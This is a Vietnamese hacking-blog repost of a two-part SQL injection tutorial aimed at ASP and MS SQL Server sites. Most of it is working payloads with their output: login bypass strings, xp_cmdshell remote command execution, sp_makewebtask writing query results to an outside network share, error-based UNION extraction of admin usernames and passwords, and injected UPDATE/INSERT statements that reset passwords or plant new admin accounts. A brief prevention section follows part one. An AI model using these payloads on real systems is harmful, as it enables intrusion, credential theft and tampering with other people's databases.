Trao đổi với tôi

http://www.buidao.com

12/7/09

[Hacking] Kiến thức về SQL Injection (p1)

(cd viethacker 1999)

Hi all , những người nghiên cứu hacking ở Việt Nam đã nói khá nhiều về kĩ thuật SQL Injection , tôi còn giữ một số bài viết hay và cơ bản về vấn đề này , post lên cho anh em tham khảo và cho những người đến sau có dịp tìm hiểu về một kĩ thuật hack khá thông dụng trong web hacking

——————————————–
PHẦN 1:
SQL Injection là gì?

SQL Injection là một trong những kiểu hack web đang dần trở nên phổ biến hiện nay. Bằng cách inject các mã SQL query/command vào input trước khi chuyển cho ứng dụng web xử lí, bạn có thể login mà không cần username và password, remote execution, dump data và lấy root của SQL server. Công cụ dùng để tấn công là một trình duyệt web bất kì, chẳng hạn như Internet Explorer, Netscape, Lynx, …

2) Tìm kiếm mục tiêu

Bạn có thể search các trang web cho phép submit data ở bất kì một search-engine nào trên mạng, chẳng hạn như các trang login, search, feedback, …

http://vịtcon/index.asp?id=10

Một số trang web chuyển tham số qua các field ẩn, bạn phải xem mã HTML mới thấy rõ.



3) Kiểm tra chử yếu của trang web

Thử submit các field username, password hoặc field id, .. bằng hi’ or 1=1–

- Login: hi’ or 1=1–
- Pass: hi’ or 1=1–
- http://vịtcon/index.asp?id=hi’ or 1=1–

Nếu site chuyển tham số qua field ẩn, bạn hãy download source HTML, lưu trên đĩa cứng và thay đổi lại URL cho phù hợp. Ví dụ:



Nếu thành công, bạn có thể login vào mà không cần phải biết username và password

4) Tại sao ‘ or 1=1– có thể bypass login?

Giả sử như có một trang asp link đến một asp trang khác với URL như sau:

http://vịtcon/index.asp?category=food

Trong URL trên, biến ‘category’ được gán giá trị là ‘food’. Mã asp của trang này có thể như sau (đây chỉ là ví dụ thôi):

v_cat = request(”category”)
sqlstr=”SELECT * FROM product WHERE PCategory=’” & v_cat & “‘”
set rs=conn.execute(sqlstr)

v_cat sẽ chứa giá trị của biến request.category, ‘food’ và câu lệnh SQL tiếp theo sẽ là:

SELECT * FROM product WHERE PCategory=’food’

Dòng query trên sẽ trả về một tập resultset chứa một hoặc nhiều dòng phù hợp với điều kiện WHERE PCategory=’food’

Nếu bạn thay đổi URL trên thành http://vịtcon/index.asp?category=food’ or 1=1– , biến v_cat sẽ chứa giá trị “food’ or 1=1– ” và dòng lệnh SQL query sẽ là:

SELECT * FROM product WHERE PCategory=’food’ or 1=1–’

Dòng query trên sẽ select mọi thứ trong table product bất chấp PCategory có bằng ‘food’ hay không. Hai dấu gạch ngang “–” chỉ cho MS SQL server biết đã hết dòng query, mọi thứ còn lại sau “–” sẽ bị bỏ qua. Đối với MySQL, bạn hãy thay “–” thành “#”

Bạn cũng có thể thử cách khác bằng cách submit ‘ or ‘a’=’a. Dòng SQL query bây giờ sẽ là:

SELECT * FROM product WHERE PCategory=’food’ or ‘a’=’a’

Một số data khác mà bạn cũng nên submit để biết xem trang web có gặp lửi hay không:

‘ or 1=1–
” or 1=1–
or 1=1–
‘ or ‘a’=’a
” or “a”=”a
‘) or (’a’=’a

5) Thi hành lệnh từ xa bằng SQL Injection

Nếu cài đặt với chế độ default, MS SQL Server sẽ chạy ở mức SYSTEM, tương đương với mức truy cập Administrator trên Windows. Bạn có thể dùng master..xp_cmdshell để thi hành lệnh từ xa:

‘; exec master..xp_cmdshell ‘ping 10.10.1.2′–

Hãy thử dùng dấu nháy đôi (”) nếu dấu nháy đơn (’) không làm việc.

Dấu chấm phẩy ( sẽ kết thúc dòng SQL query hiện tại và cho phép bạn thi hành một SQL command mới. Để kiểm tra xem lệnh trên có được thi hành hay không, bạn có thể listen các ICMP packet from 10.10.1.2 bằng tcpdump như sau:

#tcpdump icmp

Nếu nhận được ping request từ 10.10.1.2 nghĩa là lệnh đã được thi hành.

6) Nhận output của SQL query

Bạn có thể dùng sp_makewebtask để ghi các output của SQL query ra một file HTML

‘; EXEC master..sp_makewebtask “\\10.10.1.3\share\output.html”, “SELECT * FROM INFORMATION_SCHEMA.TABLES”

folder “share” phải được share cho Everyone trước.

7) Nhận data qua ‘database using ODBC error message’

Các error message của MS SQL Server thường đưa cho bạn những thông tin quan trọng. Lấy ví dụ ở trên http://vịtcon/index.asp?id=10, bây giờ chúng ta thử hợp nhất integer ‘10′ với một string khác lấy từ CSDL:

http://vịtcon/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES–

System table INFORMATION_SCHEMA.TABLES chứa thông tin về tất cả các table có trên server. Field TABLE_NAME chứa tên của mửi table trong CSDL. Chúng ta chọn nó bởi vì chúng ta biết rằng nó luôn tồn tại. Query của chúng ta là:

SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES-

Dòng query này sẽ trả về tên của table đầu tiên trong CSDL

Khi chúng ta UNION string này với số integer 10, MS SQL Server sẽ cố thử chuyển một string (nvarchar) thành một số integer. Điều này sẽ gặp lửi nếu như không chuyển được nvarchar sang int, server sẽ hiện thông báo lửi sau:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07′
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘table1′ to a column of data type int.
/index.asp, line 5

Thông báo lửi trên cho biết giá trị muốn chuyển sang integer nhưng không được, “table1″. Đây cũng chính là tên của table đầu tiên trong CSDL mà chúng ta đang muốn có.

Để lấy tên của tên của table tiếp theo, bạn có thể dùng query sau:

http://vịtcon/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN (’table1′)–

Bạn cũng có thể search data bằng từ khóa LIKE:

http://vịtcon/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE ‘%25login%25′–

Output:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07′
[Microsoft][ODBC SQL Server Driver][SQL Se rver]Syntax error converting the nvarchar value ‘admin_login’ to a column of data type int.
/index.asp, line 5

Mẫu so sánh ‘%25login%25′ sẽ tương đương với %login% trong SQL Server. Như bạn thấy trong error message trên, chúng ta có thể xác định được tên của một table quan trọng là “admin_login”.

8) Xác định tên của các column trong table

Table INFORMATION_SCHEMA.COLUMNS chứa tên của tất cả các column trong table. Bạn có thể khai thác như sau:

http://vịtcon/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=’admin_login’–

Output:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07′
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘login_id’ to a column of data type int.
/index.asp, line 5

Như vậy tên của column đầu tiên là “login_id”. Để lấy tên của các column tiếp theo, bạn có thể dùng mệnh đề logic NOT IN () như sau:

http://vịtcon/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=’admin_login’ WHERE COLUMN_NAME NOT IN (’login_id’)–

Output:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07′
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘login_name’ to a column of data type int.
/index.asp, line 5

Làm tương tự như trên, bạn có thể lấy được tên của các column còn lại như “password”, “details”. Bạn lấy tên của các column này qua error message error sau:

http://vịtcon/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=’admin_login’ WHERE COLUMN_NAME NOT IN (’login_id’,’login_name’,’password’,details’)–

Output:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e14′
[Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in the select list if the statement contains a UNION operator.
/index.asp, line 5

9) Thu thập các dữ liệu quan trọng

Chúng ta đã xác định được các tên của các table và column quan trọng. Chúng ta sẽ thu thập các thông tin quan trọng từ các table và column này.

Bạn có thể lấy login_name đầu tiên trong table “admin_login” như sau:

http://vịtcon/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login–

Output:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07′
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘neo’ to a column of data type int.
/index.asp, line 5

Bạn dễ dàng nhận ra được admin user đầu tiên có login_name là “neo”. Hãy thử lấy password của “neo” như sau:

http://vịtcon/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name=’neo’–

Output:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07′
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘m4trix’ to a column of data type int.
/index.asp, line 5

Bây giờ bạn có thể login vào với username là “neo” và password là “m4trix”.

10) Nhận các numeric string

Có một hạn chế nhỏ đối với phương pháp trên. Chúng ta không thể nhận được các error message nếu server có thể chuyển text đúng ở dạng số (text chỉ chứa các kí tự số từ 0 đến 9). Giả sử như password của “trinity” là “31173″.

http://vịtcon/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name=’trinity’–

Bạn chỉ nhận được thông báo lỗi “Page Not Found”. Lí do bởi vì server có thể chuyển passoword “31173″ sang dạng số trước khi UNION với integer 10. Để giải quyết vấn đề này, chúng ta có thể thêm một vài kí tự alphabet vào numeric string này để làm thất bại sự chuyển đổi từ text sang số của server. Dòng query mới như sau:

http://vịtcon/index.asp?id=10 UNION SELECT TOP 1 convert(int, password%2b’%20morpheus’) FROM admin_login where login_name=’trinity’–

Chúng ta dùng dấu cộng (+) để nối thêm text vào password (ASSCII code của ‘+’ là 0×2b). Chúng ta thêm chuỗi ‘(space)morpheus’ vào cuối password để tạo ra một string mới không phải numeric string là ‘31173 morpheus’. Khi hàm convert() được gọi để chuyển ‘31173 morpheus’ sang integer, SQL server sẽ phát lỗi ODBC error message sau:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07′
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘31173 morpheus’ to a column of data type int.
/index.asp, line 5

Bây giờ bạn cũng có thể login vào với username ‘trinity’ và password là ‘31173′

11) Update/insert data vào CSDL

Khi bạn đã có tên của tất cả các column trong table, bạn có thể UPDATE hoặc INSERT một record mới vào table này.

Để thay đổi password của “neo”, bạn có thể làm như sau:

http://vịtcon/index.asp?id=10; UPDATE ‘admin_login’ SET ‘password’ = ‘newpas5′ WHERE login_name=’neo’–

Hoặc nếu bạn muốn chèn một record mới vào table:

http://vịtcon/index.asp?id=10; INSERT INTO ‘admin_login’ (’login_id’, ‘login_name’, ‘password’, ‘details’) VALUES (666,’neo2′,’newpas5′,’NA’)–

Bây giờ bạn có thể login vào với username “neo2″ và password là “newpas5″

12) Ngăn chặn SQL Injection

Hãy loại bỏ các kí tự meta như ‘”/\; và các kí tự extend như NULL, CR, LF, … trong các string nhận được từ:

- input do người dùng đệ trình
- các tham số từ URL
- các giá trị từ cookie

Đối với các giá trị numeric, hãy chuyển nó sang integer trước khi query SQL, hoặc dùng ISNUMERIC để chắc chắn nó là một số integer.

Thay đổi “Startup and run SQL Server” dùng mức low privilege user trong tab SQL Server Security.

Xóa các stored procedure mà bạn không dùng như:

master..Xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask

PHẦN 2:
tôi biết chắc rằng các bạn ở đây đa số chỉ biết SQL injection bypass login, hôm nay tớ xin mạn phép trình bày những kỹ thuật mà ta có thể làm nhiều điều hơn là chỉ vượt qua password của một trang bị SQL injection.

Lưu ý : Đa số kiến thức của tôi dưới đây chỉ dùng cho server chạy MySQL, MSSQL, còn những cái khác thì không chắc…. Nếu bạn chưa biết lệnh SQL thì không nên đọc bài này mà nên tham khảo nó trước, OKie ??? Tôi không muốn thấy những câu trả lời đại loại như — “Tui chẳng hiểu gì hết “, “Sài ở đâu thế” ,…..

1)Lấy tên table và column hiện hành:
Structure :

Login page (or any injection page)::::
username: ‘ having 1=1–

KQ: ——————————-
[Microsoft][ODBC SQL Server Driver][SQL Server]Column ‘VICTIM.ID’ is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.
————————————–
—-> Ta có được TABLE VICTIM

Tiếp tục
username: ‘ group by VICTIM.ID having 1=1–

KQ :———————————
[Microsoft][ODBC SQL Server Driver][SQL Server]Column ‘VICTIM.Vuser’ is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
——————————————-
Vậy là ta có column Vuser

UNION nhỏ mà hiệu quả

Vâng thưa các bạn, ta có thể dùng nó để lấy được gần như mọi thứ .
Trước hết tôi xin nói sơ qua cái Structure của nó :

Login page ::::

username : ‘ Union select [column] from [table] where [column2=…]–
password : everything

Vd: Giả sử ta đã biết 2 column username và password trong table VTABLE cua db victim là VUSER và VPASS thì ta làm như sau

username : ‘ Union select VPASS from VTABLE where VUSER=’admin’– (1)
password : everything

(1) : Trong trường hợp này admin là một user mà bạn biết nếu không có thể bỏ trống, nó sẽ cho bạn user đầu tiên

KQ:—————————–
[Microsoft][ODBC SQL Server Driver][SQL Server]All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists.
———————————

Nếu KQ ra như trên có nghĩa là bạn phải union thêm nhiều column nữa để tất cả column của table VTABLE được Union hết. Structure của nó như sau:

username : ‘ Union select VPASS,1,1,1…1,1 from VTABLE where VUSER=’admin’– (1)
password : everything

Bạn hãy thêm “,1″ cho đến khi kết quả ra đại loại như

——————————–
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘tuibihackroi’ to a column of data type int.
——————————–

Như vậy Pass của user ‘admin’ là ‘tuibihackroi’